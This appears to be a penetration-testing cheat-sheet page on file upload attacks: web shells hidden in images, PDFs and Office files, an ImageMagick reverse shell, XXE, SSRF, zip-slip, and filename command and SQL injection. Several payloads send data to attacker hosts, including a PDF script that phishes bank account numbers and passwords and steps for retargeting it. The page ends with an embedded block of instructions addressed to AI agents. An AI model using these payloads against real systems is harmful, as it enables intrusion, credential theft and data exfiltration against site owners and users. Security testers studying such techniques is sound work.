[xxe-xslt](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/xxe-xslt)
{% endcontent-ref %}

### XML - XSS

```
<?xml version="1.0" encoding="UTF-8"?>
<html xmlns:html="http://w3.org/1999/xhtml">
<html:script>prompt(document.domain);</html:script>
</html>
```

### HTML files

```html
<html>
    <body>
        <b>Exfiltration via Blind SSRF</b>
<iframe src="file:///etc/passwd"></iframe>
        <script>
        var readfile = new XMLHttpRequest(); // Read the local file
        var exfil = new XMLHttpRequest(); // Send the file to our server
        readfile.open("GET","file:///var/www/html/dev-text.php", true);
        readfile.send();
        readfile.onload = function() {
            if (readfile.readyState === 4) {
                var url = 'http://burpcollaborator.com?data='+btoa(this.response);
                exfil.open("GET", url, true);
                exfil.send();
            }
        }
        readfile.onerror = function(){document.write('<a>Oops!</a>');}
        </script>
     </body>
</html>
```

### SSRF

PDFs, SVGs, or even Office documents. If the backend processes these files, SSRF might be hiding here

{% embed url="<https://uchihamrx.medium.com/the-pdf-trojan-horse-leveraging-html-injection-for-ssrf-and-internal-resource-access-fbf69efcb33d>" %}

{% content-ref url="ssrf" %}
[ssrf](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/ssrf)
{% endcontent-ref %}

#### PDF Generators

{% embed url="<https://www.blackhillsinfosec.com/hunting-for-ssrf-bugs-in-pdf-generators/>" %}

{% embed url="<https://infosecwriteups.com/exploiting-ssrf-in-pdf-html-injection-basic-and-blind-047fec5317ae>" %}

### DoS

* `Decompression Bomb`
* &#x20;`Pixel Flood`

## Other Upload Attacks

### In images&#x20;

#### Information Leakage / Metadata

Check for software version, GPS location, username, etc.

{% embed url="<https://github.com/ianare/exif-samples/tree/master>" %}

```
exiftool uploaded_file.jpg
```

#### SVG File

Hosts that process SVG can potentially be vulnerable to SSRF, LFI, XSS, RCE because of the rich feature set of SVG

{% embed url="<https://github.com/allanlw/svg-cheatsheet>" %}

#### Metadata

{% embed url="<https://github.com/absholi7ly/MetaInjector>" %}

#### Exiftool

```
root@Host-001:~/Bureau# exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' blank.png
root@Host-001:~/Bureau# mv blank.png blank.php.png
```

```
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" <YOUR-INPUT-IMAGE>.jpg -o polyglot.php
```

#### Content-Type

Change content-type to `text/html`

Add the malicious javascript code at the bottom of the image content

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FQv0usuQ1boHiDMfUoQH4%2Fimage.png?alt=media&#x26;token=225eeb75-f2ff-444b-a5e5-257917bcc981" alt=""><figcaption></figcaption></figure>

#### [XSS](#xss)

#### ImageMagick ?

test.jpeg

```
%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/[IP]/8080 0>&1')
currentdevice putdeviceprops
```

{% embed url="<https://hackerone.com/reports/403417>" %}

{% embed url="<https://www.hackerone.com/blog/vulnerability-deep-dive-gaining-rce-through-imagemagick-frans-rosen>" %}

#### Others

{% embed url="<https://github.com/Shiva108/CTF-notes/blob/master/penbook/bypass_image_upload.md>" %}

{% embed url="<https://github.com/dlegs/php-jpeg-injector>" %}

{% embed url="<https://github.com/coffinxp/img-payloads>" %}

{% embed url="<https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there>" %}

{% embed url="<https://github.com/Maldev-Academy/EmbedPayloadInPng?tab=readme-ov-file>" %}

#### [XXE in SVG](#xxe-svg-x-requested-with-xmlhttprequest)

#### XXE in XMP metadata of JPEG file

<https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf>

{% embed url="<https://hackerone.com/reports/836877>" %}

{% embed url="<https://evanluke.gitbook.io/appsec/xxe/xml-external-entity-xxe/xxe-examples>" %}

```
exiftool -XMP-dc:creator='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://attacker.com/malicious_payload">
]>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <rdf:Description rdf:about="">
    <dc:creator>&xxe;</dc:creator>
  </rdf:Description>
</rdf:RDF>' example.jpg
```

### Injections in File Name

Name a file `file$(whoami).jpg` or ``file`whoami`.jpg`` or `file.jpg||whoami`

{% content-ref url="command-injection" %}
[command-injection](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/command-injection)
{% endcontent-ref %}

&#x20;XSS payload in the file name (e.g. `<script>alert(window.origin);</script>`), which would get executed on the target's machine if the file name is displayed to them. We may also inject an SQL query in the file name (e.g. `file';select+sleep(5);--.jpg`), which may lead to an SQL injection if the file name is insecurely used in an SQL query.

```
"><img src=x onerror=prompt(1)>.jpg
"><img src=x onerror=alert(document.domain)>.png
"><img src="/" =_=" title="onerror='prompt(document.cookie)'">.png
'sleep(10).jpeg
```

{% content-ref url="xss" %}
[xss](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/xss)
{% endcontent-ref %}

### .htaccess

```
AddType application/x-httpd-php .png
```

{% embed url="<https://ctftime.org/writeup/6074>" %}

```
POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="../../../.htaccess"
Content-Type: text/plain

# Your server configuraton rules
------WebKitFormBoundary3RwPFJztxaJvrqAq--https://www.intigriti.com/researchers/blog/hacking-tools/insecure-file-uploads-a-complete-guide-to-finding-advanced-file-upload-vulnerabilities
```

### Web shell via Path Traveral

{% embed url="<https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal>" %}

### Zip file

#### ZIP to RCE

{% embed url="<https://cybersecuritywriteups.com/how-a-simple-zip-upload-revealed-a-critical-remote-code-execution-flaw-042c375cdee7>" %}

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FJ0H81TkSub4jMoQocyFz%2Fimage.png?alt=media&#x26;token=c9abe376-8874-4d65-b322-050c67a0c649" alt=""><figcaption></figcaption></figure>

#### Zip slip / symlink

Archivealchemist: tool for zip slip and symlink attacks

{% embed url="<https://github.com/avlidienbrunn/archivealchemist>" %}

#### Example 1

```
ln -s ../ symindex.txt
zip --symlinks test3.zip symindex.txt

1. upload zip 2. visit symindex.txt
```

#### Example 2

```
oxdf@hacky$ ln -s /etc/passwd passwd.pdf
oxdf@hacky$ ls -l passwd.pdf 
lrwxrwxrwx 1 oxdf oxdf 11 Jan  8 18:07 passwd.pdf -> /etc/passwd
oxdf@hacky$ zip --symlinks passwd.zip passwd.pdf 
  adding: passwd.pdf (stored 0%)
```

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FT08PiTRJegsUNlxo3o18%2Fimage.png?alt=media&#x26;token=cb0fae9a-84ee-4698-bde6-757ccf9afbe2" alt=""><figcaption></figcaption></figure>

{% embed url="<https://0xdf.gitlab.io/2024/01/13/htb-zipping.html>" %}

#### Zip Slip

{% embed url="<https://github.com/snyk/zip-slip-vulnerability>" %}

{% embed url="<https://github.com/0xless/slip>" %}

{% embed url="<https://swisskyrepo.github.io/PayloadsAllTheThings/Upload%20Insecure%20Files/Zip%20Slip/#summary>" %}

{% embed url="<https://www.youtube.com/watch?v=4sKlbMiGWAw>" %}

### Java applications

{% embed url="<https://www.yeswehack.com/fr/learn-bug-bounty/xml-external-entity-guide-xxe>" %}

Java applications that combine XML processing with file upload functionality.

**Step 1: Generate the payload with** [***ysoserial***](https://github.com/pwntester/ysoserial.net)**:**

```
java-jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/pwned'> payload.ser
```

**Step 2: Upload the malicious file:**

Upload payload.ser through any file upload feature:

```
POST /api/attachments/upload HTTP/1.1Content-Type: multipart/form-data
[serialised object content]
Response: {"file_id": "12345", "path": "/uploads/12345/payload.ser"}
```

**Step 3: Trigger deserialization via XXE:**

```
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEroot[<!ENTITYxxe SYSTEM "file:///app/uploads/12345/payload.ser">]><request><data>&xxe;</data></request>
```

When the XML parser reads your serialised object, Java automatically deserializes it and executes your payload.

### DOCX/XLSX (Excel)/PPTX - Office Files - XXE

Docx:

&#x20;weaponised DOCX file. Start with a legitimate DOCX resume then unzip it: `unzip resume.docx -d resume_modified/`. Locate and edit `word/document.xml`:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPEw:document[
<!ENTITYxxe SYSTEM "file:///etc/passwd">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p>
<w:r>
<w:t>Professional Summary: &xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>
```

Repackage the file with `cd resume_modified && zip -r ../malicious_resume.docx *`, then upload `malicious_resume.docx` through the application.

Excel xlsx

{% embed url="<https://github.com/kljunowsky/XXElixir>" %}

```
python3 XXElixir.py --file template.xlsx --url https://attacker.com/xxe --output poisoned.xlsx

python3 XXElixir.py --file template.xlsx --xxe"<!DOCTYPE root [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>"--output poisoned.xlsx
```

Payload

{% embed url="<https://github.com/l50/payloads/tree/master/xxe>" %}

{% embed url="<https://github.com/whitel1st/docem/>" %}

<https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf>

{% embed url="<https://oxmlxxe.github.io/>" %}

{% embed url="<https://github.com/BuffaloWill/oxml_xxe>" %}

{% embed url="<https://ctftime.org/writeup/24895>" %}

{% embed url="<https://medium.com/@x3rz/hackpack-ctf-2021-indead-v2-df9ddb4b4083>" %}

{% embed url="<https://0xdf.gitlab.io/2020/05/16/htb-patents.html#shell-as-www-data-web>" %}

### PDF Files

[SSRF](#ssrf) ?

{% embed url="<https://0xcybery.github.io/blog/hacking-with-pdf>" %}

#### Reveal Real IP adress - Bypass WAF etc.

{% embed url="<https://medium.com/@vedgeta2/how-a-pdf-file-can-expose-your-applications-real-ip-even-with-cdn-and-waf-754f4ccd6993>" %}

Create a PDF file with Canary Token

{% embed url="<https://canarytokens.org/nest/>" %}

Upload and visit the file. You will receive an email with the real IP. Try to access the server using the real IP. If it works, you can bypass WAF, CDN, etc.

#### XSS in PDF Files

PoC:&#x20;

* <https://dr34m14.github.io/dr34m14/payloads/js_injected_xss.pdf>

{% embed url="<https://github.com/h6nt3r/file_upload_payloads/tree/main/xss/rxss>" %}

```
python generate_pdf_xss.py "alert(document.cookie)"
```

{% embed url="<https://github.com/mrdesoky0/vulnerabilities/blob/main/xss/generate_pdf_xss.py>" %}

#### Also Check Payload Part

#### Tools

{% embed url="<https://github.com/jonaslejon/malicious-pdf>" %}

Using malicious pdf payloads, check if the backend made a request from inside. If so, test multiple SSRF paths:

{% content-ref url="ssrf" %}
[ssrf](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/ssrf)
{% endcontent-ref %}

```
http://127.0.0.1/admin
http://0x7f000001
http://169.254.169.254/latest/meta-data/
file:///etc/passwd
```

{% embed url="<https://github.com/cornerpirate/JS2PDFInjector>" %}

{% embed url="<https://github.com/K3rnel-Dev/pdf-exploit>" %}

#### Payload

{% embed url="<https://github.com/luigigubello/PayloadsAllThePDFs>" %}

{% embed url="<https://github.com/coffinxp/pdFExploits>" %}

{% embed url="<https://github.com/meljith-lab/Pdf-xss>" %}

XSS PDF: <https://dr34m14.github.io/dr34m14/payloads/js_injected_xss.pdf>

{% hint style="warning" %}
*If you want to use `bank_statement.pdf` , `link_URI.pdf` or `'Blind xss PDF.pdf'` from the Pdf-XSS repo, remember to change the url. See an example below*
{% endhint %}

```

$ wget https://raw.githubusercontent.com/DidierStevens/DidierStevensSuite/master/pdf-parser.py

$ ls Pdf-xss/
 bank_statment.pdf    calculatorRCE.pdf  'fetch local storage XSS paylaod.pdf'   payload8.pdf
'Blind xss PDF.pdf'   cookie.pdf          link_URI.pdf                           XSS.pdf

$ python3 pdf-parser.py Pdf-xss/bank_statment.pdf 
This program has not been tested with this version of Python (3.11.6)
Should you encounter problems, please use Python version 3.11.1
PDF Comment '%PDF-1.1\n'

PDF Comment '%\xe2\xe3\xcf\xd3\n\n'

<--SNIP->


obj 3 0
 Type: /Action
 Referencing: 

  <<
    /Type /Action
    /S /JavaScript
    /JS '(\n\nvar account = app.response ({ cQuestion:"Enter your Bank Account Number", cTitle:"Bank Account Details", bPassword:false, cDefault: global.cLastPswd, cLabel:"A/C"}); \nvar password = app.response ({ cQuestion:"Enter your Bank Account Passowrd", cTitle:"Bank Account Details", bPassword:true, cDefault: global.cLastPswd, cLabel:"Password"});\nvar cURL = "http://192.168.1.10:443" + "?" + "account=" + account + "&password=" + password;\nthis.submitForm({cURL: encodeURI(cURL), cSubmitAs: \'HTML\'});\n\n)'
  >>

<--SNIP->

PDF Comment '%%EOF\n'

$ qpdf --qdf --object-streams=disable Pdf-xss/bank_statment.pdf Pdf-xss/decompressed.pdf
WARNING: Pdf-xss/bank_statment.pdf: file is damaged
WARNING: Pdf-xss/bank_statment.pdf (offset 414): xref not found
WARNING: Pdf-xss/bank_statment.pdf: Attempting to reconstruct cross-reference table
qpdf: operation succeeded with warnings; resulting file may have some problems

$ vim Pdf-xss/decompressed.pdf
# Change the URL

$ qpdf Pdf-xss/decompressed.pdf Pdf-xss/modified_bank_statment.pdf
WARNING: Pdf-xss/decompressed.pdf: file is damaged
WARNING: Pdf-xss/decompressed.pdf (offset 1307): xref not found
WARNING: Pdf-xss/decompressed.pdf: Attempting to reconstruct cross-reference table
qpdf: operation succeeded with warnings; resulting file may have some problems

# Verification
$ python3 pdf-parser.py -s "your_ip" Pdf-xss/modified_bank_statment.pdf
This program has not been tested with this version of Python (3.11.6)
Should you encounter problems, please use Python version 3.11.1
obj 2 0
 Type: /Action
 Referencing: 

  <<
    /JS '(\\n\\nvar account = app.response \\({ cQuestion:"Enter your Bank Account Number", cTitle:"Bank Account Details", bPassword:false, cDefault: global.cLastPswd, cLabel:"A/C"}\\); \\nvar password = app.response \\({ cQuestion:"Enter your Bank Account Passowrd", cTitle:"Bank Account Details", bPassword:true, cDefault: global.cLastPswd, cLabel:"Password"}\\);\\nvar cURL = "http://your_ip" + "?" + "account=" + account + "&password=" + password;\\nthis.submitForm\\({cURL: encodeURI\\(cURL\\), cSubmitAs: \'HTML\'}\\);\\n\\n)'
    /S /JavaScript
    /Type /Action
  >>
```

#### ImageMagick ?

```
Content-Disposition: form-data; name="fileToUpload"; filename="pwn.pdf"
Content-Type: application/pdf

%!PS
currentdevice null true mark /OutputICCProfile (%pipe%curl http://attacker.com/?a=$(whoami|base64) )
.putdeviceparams
quit
```

#### pdf.js - CVE-2024-4367

{% embed url="<https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/>" %}

{% embed url="<https://github.com/LOURC0D3/CVE-2024-4367-PoC>" %}

{% embed url="<https://github.com/clarkio/pdfjs-vuln-demo/tree/main/example-pdfs>" %}

{% embed url="<https://github.com/clarkio/pdfjs-vuln-demo/tree/main/public>" %}

{% embed url="<https://www.youtube.com/watch?v=LFp0aQoGWkE>" %}

File read

```
python3 CVE-2024-4367.py "var a=document.createElement('a'); a.href='file:///C:/Users/Public/secret.txt'; a.download='secret.txt'; document.body.appendChild(a); a.click();"
```

#### Malicious PDF File Used As Delivery Mechanism

```
%PDF-1.4
1 0 obj
<< /Type /Catalog
   /Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
   /Kids [3 0 R]
   /Count 1
>>
endobj
3 0 obj
<< /Type /Page
   /Parent 2 0 R
   /MediaBox [0 0 612 792]
   /Contents 4 0 R
   /Annots [19 0 R]
>>
endobj
4 0 obj
<< /Length 0 >>
stream
endstream
endobj
19 0 obj
<<
  /Type /Annot
  /Subtype /Link
  /Rect [228.0958 225.9112 366.9041 265.6779]
  /Border [0 0 0]
  /F 4
  /StructParent 100000
  /A <<
       /S /URI
       /Type /Action
       /URI (hxxps://evil.com/file.zip)
     >>
>>
endobj
xref
0 20
0000000000 65535 f 
0000000010 00000 n 
0000000079 00000 n 
0000000178 00000 n 
0000000276 00000 n 
0000000320 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000365 00000 n 
trailer
<< /Size 20
   /Root 1 0 R
>>
startxref
461
%%EOF
```

{% embed url="<https://isc.sans.edu/diary/30848>" %}

#### php inside pdf

bad.pdf.php

```
%PDF-1.5
<?php phpinfo(); ?>
```

{% embed url="<https://gist.github.com/JustinBis/ee5b3d67ec8d0c60f9c28a383b7bd0d6>" %}

#### Log4Shell

{% embed url="<https://github.com/eelyvy/log4jshell-pdf>" %}

#### XXE in PDF

<https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf>

{% embed url="<https://github.com/BuffaloWill/oxml_xxe>" %}

```
ruby oxml_xxe.rb --poc pdf --ip 192.168.14.1:8000 
```

## ImageMagick

{% embed url="<https://www.synacktiv.com/en/publications/playing-with-imagetragick-like-its-2016>" %}

## Right to left override

{% content-ref url="../shells/bind-and-reverse-shell" %}
[bind-and-reverse-shell](https://0xss0rz.gitbook.io/0xss0rz/pentest/shells/bind-and-reverse-shell)
{% endcontent-ref %}

## Magic Number

Add four "A" on the first line of shell.php.&#x20;

`hexeditor shell.php`

Change the first 4 bytes "41 41 41 41" to "FF D8 FF DB" (jpeg magic number)

Result:

`00000000 FF D8 FF DB 3C 3F 70 68 70 20 73 79 73 74 65 6D <?php system 00000010 28 24 5F 47 45 54 5B 63 6D 64 5D 29 3B 20 3F 3E ET[cmd]); ?> 00000020 0A`

Save. Verification: `file shell.php` : `shell.php: JPEG image data`

Magic numbers list:

{% embed url="<https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5#file-file_magic_numbers-md>" %}

## Uploading files using PUT

{% content-ref url="http-verb-tampering" %}
[http-verb-tampering](https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/http-verb-tampering)
{% endcontent-ref %}

If appropriate defenses aren't in place, this can provide an alternative means of uploading malicious files, even when an upload function isn't available via the web interface.

```
PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>
```

## Eicar files - AV Testing

{% embed url="<https://github.com/fire1ce/eicar-standard-antivirus-test-files>" %}

## Payloads

{% embed url="<https://github.com/1N3/IntruderPayloads/tree/master/Uploads>" %}

## Tools

{% embed url="<https://github.com/sAjibuu/Upload_Bypass>" %}

{% embed url="<https://github.com/almandin/fuxploider>" %}

{% embed url="<https://www.geeksforgeeks.org/fuxploider-file-upload-vulnerability-scanner-and-exploitation-tool/>" %}

## Resources

{% embed url="<https://swisskyrepo.github.io/PayloadsAllTheThings/Upload%20Insecure%20Files/>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files>" %}

{% embed url="<https://pentestlab.blog/2012/11/29/bypassing-file-upload-restrictions/>" %}

{% embed url="<https://www.intigriti.com/hackademy/file-upload-vulnerabilities>" %}

{% embed url="<https://www.intigriti.com/researchers/blog/hacking-tools/insecure-file-uploads-a-complete-guide-to-finding-advanced-file-upload-vulnerabilities>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtT3srZzbUxV8iN6zjNrl%2Fimage.png?alt=media&#x26;token=962e4759-e8b9-4e26-b998-6df524fdfaf8" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="../../interesting-books" %}
[interesting-books](https://0xss0rz.gitbook.io/0xss0rz/interesting-books)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/file-upload-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
